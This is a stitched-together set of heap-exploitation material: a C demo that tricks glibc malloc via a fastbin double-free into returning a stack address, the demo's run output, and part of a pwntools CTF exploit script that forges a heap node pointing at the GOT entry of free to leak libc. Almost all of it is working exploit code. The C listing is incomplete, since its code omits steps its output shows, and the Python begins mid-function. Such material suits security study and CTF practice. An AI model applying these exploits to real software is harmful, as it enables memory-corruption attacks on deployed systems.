int main() { fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d); fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); fprintf(stderr, "Now the free list has [ %p ].\n", a); fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that malloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); }
./fastbin_dup_into_stack This file extends on fastbin_dup.c by tricking malloc into returning a pointer to a controlled location (in this case, the stack). The address we want malloc() to return is 0x7ffe1abfa870. Allocating 3 buffers. 1st malloc(8): 0x56317e17e260 2nd malloc(8): 0x56317e17e280 3rd malloc(8): 0x56317e17e2a0 Freeing the first one... If we free 0x56317e17e260 again, things will crash because 0x56317e17e260 is at the top of the free list. So, instead, we'll free 0x56317e17e280. Now, we can free 0x56317e17e260 again, since it's not the head of the free list. Now the free list has [ 0x56317e17e260, 0x56317e17e280, 0x56317e17e260 ]. We'll now carry out our attack by modifying data at 0x56317e17e260. 1st malloc(8): 0x56317e17e260 2nd malloc(8): 0x56317e17e280 Now the free list has [ 0x56317e17e260 ]. Now, we have access to 0x56317e17e260 while it remains at the head of the free list. so now we are writing a fake free size (in this case, 0x20) to the stack, so that malloc will think there is a free chunk there and agree to return a pointer to it. Now, we overwrite the first 8 bytes of the data at 0x56317e17e260 to point right before the 0x20. 3rd malloc(8): 0x56317e17e260, putting the stack address on the free list 4th malloc(8): 0x7ffe1abfa860
# doesn't work all the time p.sendline('A'*48) leak = p.recvline().split(' ')[0][48:] return int(leak[::-1].encode('hex'), 16)
def leak_libc(): # this sentence is the same size as a list node index_sentence(('a'*12 + ' b ').ljust(40, 'c'))
# delete the sentence search('a' * 12) p.sendline('y')
# the node for this sentence gets put in the previous sentence's spot. # note we made sure this doesn't reuse the chunk that was just freed by # making it 64 bytes index_sentence('d' * 64)
# free the first sentence again so we can allocate something on top of it. # this will work because 1) the sentence no longer starts with a null byte # (in fact, it should be clear that it starts a pointer to 64 d's), and 2) # the location where our original string contained `b` is guaranteed to be # zero. this is because after the original sentence was zeroed out, nothing # was allocated at offset 12, which is just padding in the structure. if # we had made the first word in the string 16 bytes instead of 12, then that # would put 'b' at a location where it would not be guaranteed to be zero. search('\x00') p.sendline('y')
# make our fake node node = '' node += p64(0x400E90) # word pointer "Enter" node += p64(5) # word length node += p64(0x602028) # sentence pointer (GOT address of free) node += p64(64) # length of sentence node += p64(0x00000000) # next pointer is null assert len(node) == 40
# this sentence gets allocated on top of the previous sentence's node. # we can thus control the sentence pointer of that node and leak memory. index_sentence(node)
# this simply receives all input from the binary and discards it, which # makes parsing out the leaked address easier below. p.clean()
# leak the libc address search('Enter') p.recvuntil('Found 64: ') leak = u64(p.recvline()[:8]) p.sendline('n') # deleting it isn't necessary return leak